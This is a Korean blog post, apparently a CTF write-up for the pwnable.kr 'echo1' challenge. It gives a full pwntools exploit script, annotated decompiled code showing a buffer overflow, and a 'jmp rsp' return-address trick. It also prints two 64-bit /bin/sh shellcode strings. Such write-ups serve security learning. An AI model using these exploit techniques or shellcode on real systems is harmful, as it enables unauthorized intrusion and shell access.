security/포너블 - pwnable.kr

pwnable.kr - [Rookiss] echo1

민사민서 2023. 2. 23. 02:25
from pwn import *

p = remote("pwnable.kr", 9010)
# p = process("./echo1")
e = ELF("./echo1")

jmp_rsp = b"\xff\xe4" # asm('jmp rsp')
id = e.symbols['id']
shell_23 = b"\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05"
shell_31 = b"\x48\x31\xff\x48\x31\xf6\x48\x31\xd2\x48\x31\xc0\x50\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x48\x89\xe7\xb0\x3b\x0f\x05"
p.sendlineafter("hey, what's your name? : ", jmp_rsp)
p.sendlineafter("> ", "1")
p.recvuntil(jmp_rsp+b"\n")
p.sendline(b'A'*0x28+p64(id)+shell_31)
p.recvline()
p.recvline()

p.interactive()

 

int __cdecl main(int argc, const char **argv, const char **envp)
{
  _QWORD *v3; // rax
  unsigned int i; // [rsp+Ch] [rbp-24h] BYREF
  _QWORD v6[4]; // [rsp+10h] [rbp-20h] BYREF

  setvbuf(stdout, 0LL, 2, 0LL);
  setvbuf(stdin, 0LL, 1, 0LL);
// 전역변수 o
  o = malloc(0x28uLL);
  *((_QWORD *)o + 3) = greetings; // o+0x18, printf("hello %s\n", a1);
  *((_QWORD *)o + 4) = byebye; // o+0x20, printf("goodbye %s\n", a1)
  printf("hey, what's your name? : ");
  __isoc99_scanf("%24s", v6); // v6[0]~v6[3] 입력받아 
  v3 = o;
  *(_QWORD *)o = v6[0];
  v3[1] = v6[1]; // o+0x8
  v3[2] = v6[2]; // o+0x10
  id = v6[0]; // 전역변수 id에 저장 
  getchar();
  func[0] = (__int64)echo1; // 전역변수 func, func[2] 바로 뒤에 전역변수 o 등장
  qword_602088 = (__int64)echo2; // func[1], puts("not supported");
  qword_602090 = (__int64)echo3; // func[2], puts("not supported");
  for ( i = 0; i != 121; i = getchar() ) // 'y' 입력하면 계속 반복
  {
    while ( 1 )
    {
      while ( 1 )
      {
        puts("\n- select echo type -");
        puts("- 1. : BOF echo");
        puts("- 2. : FSB echo");
        puts("- 3. : UAF echo");
        puts("- 4. : exit");
        printf("> ");
        __isoc99_scanf("%d", &i);
        getchar();
        if ( i > 3 )
          break;
        ((void (*)(void))func[i - 1])(); // oob 취약점? func 이전 영역에 의미있는 전역변수 없네 
      }
      if ( i == 4 )
        break;
      puts("invalid menu");
    }
    cleanup(); // free(o); , uaf 취약점?
    printf("Are you sure you want to exit? (y/n)");
  }
  puts("bye");
  return 0;
}
__int64 echo1()
{
  char s[32]; // [rsp+0h] [rbp-20h] BYREF

  (*((void (__fastcall **)(void *))o + 3))(o);
  get_input(s, 128LL); // fgets(s, 128LL, stdin), bof 취약점
  puts(s);
  (*((void (__fastcall **)(void *))o + 4))(o);
  return 0LL;
}

- checksec 결과: Partial RELRO, No canary, NX enabled, No PIE 랬지만..
- vmmap으로 확인해보니 바이너리 대부분의 영역 실행권한 존재(스택 rwx, 전역변수들 속해있는 bss 영역도 rwx)

- echo1() bof 취약점 존재, main 함수의 스택 프레임까지 침범 가능
- 32자 입력해 SFP(main 함수의 rbp) 유출한 후,
- 다음 사이클에 쉘코드 입력 후 echo1()의 리턴주소를 쉘코드 시작위치로 덮는다.

하지만!!
- fgets 널바이트 추가해버려서 stack leak를 못하네?
- ASLR 걸려있어서 스택, 힙 영역은 이용하기 힘들고.. 
- v6 첫 8byte가 전역변수 id에 저장된다 (주소 고정!, 4byte 사용 가능)
- RET을 id(0x6020a0)로 덮어씌우고, id에 'jmp rsp' 입력
- jmp rsp에 의해 RIP가 shellcode 시작점으로 이동함!
- payload = 'A'*0x28 + p64(0x6020a0) + (shellcode)

 

새로 알게된 점

1. char *fgets(char *str, int n, FILE *stream)

(n-1)개의 문자를 읽어들였을 때
newline character('\n', 0xa in ascii)을 만났을 때 (엔터까지 읽는다)
- 혹은 파일의 EOF에 도달했을 때까지 읽는다.
읽은 문자열 끝에 널 문자를 추가한다.
- \x0b(vertical tab), \x0c(form feed), \x0d(carriage return), space 같은 다른 whitespace도 제대로 입력 받을 수 있다
- 반면 scanf, gets 같은 함수는 whitespace를 line terminator로 인식 (뒤에 널바이트는 추가!)

 

2. 64bit shellcode

http://shell-storm.org/shellcode/index.html

 

Shellcodes database for study cases

API It is very straightforward to communicate with this API. Just send a simple GET method. The "s" argument contains your keyword. http://shell-storm.org/api/?s= Use "*" for multiple keywords search. /?s= * * The output should be like this: :::: :::: ::::

shell-storm.org

"\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05"
"\x48\x31\xff\x48\x31\xf6\x48\x31\xd2\x48\x31\xc0\x50\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x48\x89\xe7\xb0\x3b\x0f\x05"

참고로 이번 exploit 에선 둘 다 됐음!

 

3. python에서 assembly to bytecode 변환

context(arch='amd64', os='linux')
asm('jmp rsp')

'security > 포너블 - pwnable.kr' 카테고리의 다른 글

pwnable.kr - [Rookiss] echo2  (0) 2023.02.25
pwnable.kr - [Rookiss] fix  (0) 2023.02.23
pwnable.kr - [Rookiss] ascii_easy  (0) 2023.02.19
pwnable.kr - [Rookiss] tiny_easy  (0) 2023.02.19
pwnable.kr - [Rookiss] fsb  (0) 2023.02.18